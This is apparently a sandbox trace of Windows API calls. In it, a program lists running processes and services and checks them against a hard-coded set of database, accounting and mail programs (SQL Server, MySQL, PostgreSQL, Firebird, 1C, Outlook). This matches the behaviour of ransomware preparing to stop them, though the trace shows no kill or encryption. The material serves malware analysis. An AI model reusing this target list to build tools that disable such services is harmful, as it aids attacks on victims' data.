	[0268.404] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0268.404] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0268.404] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0268.404] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0268.405] lstrlenW (lpString="lsm.exe") returned 7
	[0268.405] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0268.405] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0268.405] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0268.405] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0268.405] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0268.405] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0268.405] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0268.405] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.405] lstrlenW (lpString="svchost.exe") returned 11
	[0268.405] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0268.405] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0268.405] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0268.405] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0268.405] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0268.405] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0268.405] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0268.405] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.406] lstrlenW (lpString="svchost.exe") returned 11
	[0268.406] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0268.406] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0268.406] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0268.406] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0268.406] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.406] lstrlenW (lpString="svchost.exe") returned 11
	[0268.406] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.406] lstrlenW (lpString="svchost.exe") returned 11
	[0268.406] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.407] lstrlenW (lpString="svchost.exe") returned 11
	[0268.407] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0268.407] lstrlenW (lpString="audiodg.exe") returned 11
	[0268.407] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.407] lstrlenW (lpString="svchost.exe") returned 11
	[0268.407] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0268.407] lstrlenW (lpString="userinit.exe") returned 12
	[0268.407] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0268.408] lstrlenW (lpString="explorer.exe") returned 12
	[0268.408] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0268.408] lstrlenW (lpString="dwm.exe") returned 7
	[0268.408] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.408] lstrlenW (lpString="svchost.exe") returned 11
	[0268.408] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0268.409] lstrlenW (lpString="swpesp.exe") returned 10
	[0268.409] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0268.409] lstrlenW (lpString="spoolsv.exe") returned 11
	[0268.409] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0268.409] lstrlenW (lpString="taskhost.exe") returned 12
	[0268.409] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0268.409] lstrlenW (lpString="svchost.exe") returned 11
	[0268.409] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0268.410] lstrlenW (lpString="reader_sl.exe") returned 13
	[0268.410] Process32NextW (in: hSnapshot=0x38c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0268.410] CloseHandle (hObject=0x38c) returned 1
	[0268.410] Sleep (dwMilliseconds=0x1f4) 
	[0269.243] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280b30
	[0269.272] EnumServicesStatusExW (in: hSCManager=0x4280b30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0269.275] GetLastError () returned 0xea
	[0269.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xe90) returned 0x41f5d68
	[0269.276] EnumServicesStatusExW (in: hSCManager=0x4280b30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xe90, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0269.276] CloseServiceHandle (hSCObject=0x4280b30) returned 1
	[0269.276] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0269.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0269.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0269.276] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0269.276] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0269.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0269.277] lstrlenW (lpString="AudioSrv") returned 8
	[0269.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0269.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0269.277] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0269.277] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0269.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0269.277] lstrlenW (lpString="BFE") returned 3
	[0269.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0269.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0269.277] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0269.277] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0269.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0269.277] lstrlenW (lpString="CryptSvc") returned 8
	[0269.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0269.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0269.277] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0269.277] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0269.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0269.277] lstrlenW (lpString="CscService") returned 10
	[0269.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0269.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0269.277] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0269.277] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0269.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0269.277] lstrlenW (lpString="DcomLaunch") returned 10
	[0269.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0269.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0269.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0269.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0269.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0269.277] lstrlenW (lpString="Dhcp") returned 4
	[0269.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0269.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0269.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0269.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0269.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0269.278] lstrlenW (lpString="Dnscache") returned 8
	[0269.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0269.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0269.278] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0269.278] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0269.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0269.278] lstrlenW (lpString="DPS") returned 3
	[0269.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0269.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0269.278] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0269.278] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0269.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0269.278] lstrlenW (lpString="eventlog") returned 8
	[0269.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0269.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0269.278] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0269.278] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0269.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0269.278] lstrlenW (lpString="EventSystem") returned 11
	[0269.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0269.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0269.278] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0269.278] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0269.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0269.279] lstrlenW (lpString="gpsvc") returned 5
	[0269.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0269.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0269.279] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0269.279] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0269.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0269.279] lstrlenW (lpString="iphlpsvc") returned 8
	[0269.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0269.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0269.279] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0269.279] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0269.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0269.279] lstrlenW (lpString="LanmanServer") returned 12
	[0269.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0269.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0269.279] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0269.279] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0269.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0269.279] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0269.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0269.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0269.279] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0269.279] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0269.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0269.279] lstrlenW (lpString="lmhosts") returned 7
	[0269.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0269.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0269.279] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0269.279] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0269.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0269.280] lstrlenW (lpString="MMCSS") returned 5
	[0269.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0269.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0269.280] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0269.280] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0269.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0269.280] lstrlenW (lpString="MpsSvc") returned 6
	[0269.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0269.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0269.280] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0269.280] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0269.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0269.280] lstrlenW (lpString="NlaSvc") returned 6
	[0269.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0269.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0269.280] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0269.280] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0269.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0269.280] lstrlenW (lpString="nsi") returned 3
	[0269.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0269.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0269.280] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0269.280] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0269.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0269.280] lstrlenW (lpString="PcaSvc") returned 6
	[0269.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0269.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0269.280] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0269.280] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0269.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0269.281] lstrlenW (lpString="PlugPlay") returned 8
	[0269.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0269.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0269.281] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0269.281] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0269.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0269.281] lstrlenW (lpString="Power") returned 5
	[0269.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0269.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0269.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0269.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0269.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0269.281] lstrlenW (lpString="ProfSvc") returned 7
	[0269.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0269.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0269.281] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0269.281] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0269.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0269.281] lstrlenW (lpString="RpcEptMapper") returned 12
	[0269.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0269.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0269.281] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0269.281] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0269.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0269.281] lstrlenW (lpString="RpcSs") returned 5
	[0269.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0269.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0269.281] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0269.281] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0269.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0269.282] lstrlenW (lpString="SamSs") returned 5
	[0269.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0269.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0269.282] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0269.282] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0269.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0269.282] lstrlenW (lpString="Schedule") returned 8
	[0269.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0269.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0269.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0269.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0269.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0269.282] lstrlenW (lpString="SENS") returned 4
	[0269.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0269.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0269.282] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0269.282] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0269.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0269.282] lstrlenW (lpString="ShellHWDetection") returned 16
	[0269.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0269.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0269.282] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0269.282] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0269.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0269.282] lstrlenW (lpString="Spooler") returned 7
	[0269.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0269.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0269.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0269.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0269.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0269.283] lstrlenW (lpString="SysMain") returned 7
	[0269.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0269.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0269.283] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0269.283] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0269.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0269.283] lstrlenW (lpString="Themes") returned 6
	[0269.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0269.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0269.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0269.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0269.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0269.283] lstrlenW (lpString="TrkWks") returned 6
	[0269.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0269.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0269.283] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0269.283] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0269.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0269.283] lstrlenW (lpString="UxSms") returned 5
	[0269.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0269.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0269.283] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0269.283] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0269.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0269.283] lstrlenW (lpString="Winmgmt") returned 7
	[0269.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
